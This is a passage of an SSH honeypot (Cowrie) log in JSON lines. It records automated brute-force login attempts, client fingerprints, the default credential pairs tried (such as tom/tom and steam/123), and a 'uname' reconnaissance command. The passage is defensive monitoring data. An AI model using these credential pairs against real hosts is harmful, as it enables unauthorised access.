cdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.204328Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.474083Z","src_ip":"80.94.92.186","session":"8cb954427729","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.528313Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.745640Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.748536Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.841273Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:09.846115Z","src_ip":"192.109.200.78","session":"753ac6c7ff78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36262,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aa7ed4b5f0a","protocol":"ssh","message":"New connection: 192.109.200.78:36262 (159.203.135.109:22) [session: 6aa7ed4b5f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:13.131242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:13.135326Z","src_ip":"192.109.200.78","session":"6aa7ed4b5f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:13.217406Z","src_ip":"192.109.200.78","session":"6aa7ed4b5f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:13.760244Z","src_ip":"192.109.200.78","session":"6aa7ed4b5f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:14.845379Z","src_ip":"192.109.200.78","session":"6aa7ed4b5f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36290,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa24ab5befcd","protocol":"ssh","message":"New connection: 192.109.200.78:36290 (159.203.135.109:22) [session: fa24ab5befcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:17.406702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:17.411242Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:17.496983Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:17.743592Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:17.954477Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:17.957559Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:18.043540Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:18.048679Z","src_ip":"192.109.200.78","session":"fa24ab5befcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":32990,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a2fccca2172","protocol":"ssh","message":"New connection: 192.109.200.78:32990 (159.203.135.109:22) [session: 9a2fccca2172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:21.430280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:21.435307Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:21.518009Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:21.769053Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:21.978970Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:21.982572Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:22.109975Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:22.116952Z","src_ip":"192.109.200.78","session":"9a2fccca2172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33010,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a1b99e4bce3","protocol":"ssh","message":"New connection: 192.109.200.78:33010 (159.203.135.109:22) [session: 6a1b99e4bce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:25.712293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:25.721703Z","src_ip":"192.109.200.78","session":"6a1b99e4bce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:25.808416Z","src_ip":"192.109.200.78","session":"6a1b99e4bce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:26.064121Z","src_ip":"192.109.200.78","session":"6a1b99e4bce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:27.152963Z","src_ip":"192.109.200.78","session":"6a1b99e4bce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55780,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5e2be0aa410","protocol":"ssh","message":"New connection: 192.109.200.78:55780 (159.203.135.109:22) [session: b5e2be0aa410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:29.763721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:29.768434Z","src_ip":"192.109.200.78","session":"b5e2be0aa410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:29.865189Z","src_ip":"192.109.200.78","session":"b5e2be0aa410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:30.264896Z","src_ip":"192.109.200.78","session":"b5e2be0aa410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:31.349430Z","src_ip":"192.109.200.78","session":"b5e2be0aa410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60264,"dst_ip":"159.203.135.109","dst_port":22,"session":"81769f264356","protocol":"ssh","message":"New connection: 159.203.92.129:60264 (159.203.135.109:22) [session: 81769f264356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:31.374345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:31.379225Z","src_ip":"159.203.92.129","session":"81769f264356","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:31.384073Z","src_ip":"159.203.92.129","session":"81769f264356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RAID5","password":"RAID5","message":"login attempt [RAID5/RAID5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:31.398604Z","src_ip":"159.203.92.129","session":"81769f264356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:32.405980Z","src_ip":"159.203.92.129","session":"81769f264356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55794,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cb05446228f","protocol":"ssh","message":"New connection: 192.109.200.78:55794 (159.203.135.109:22) [session: 9cb05446228f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:34.055301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:37:34.059497Z","src_ip":"192.109.200.78","session":"9cb05446228f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH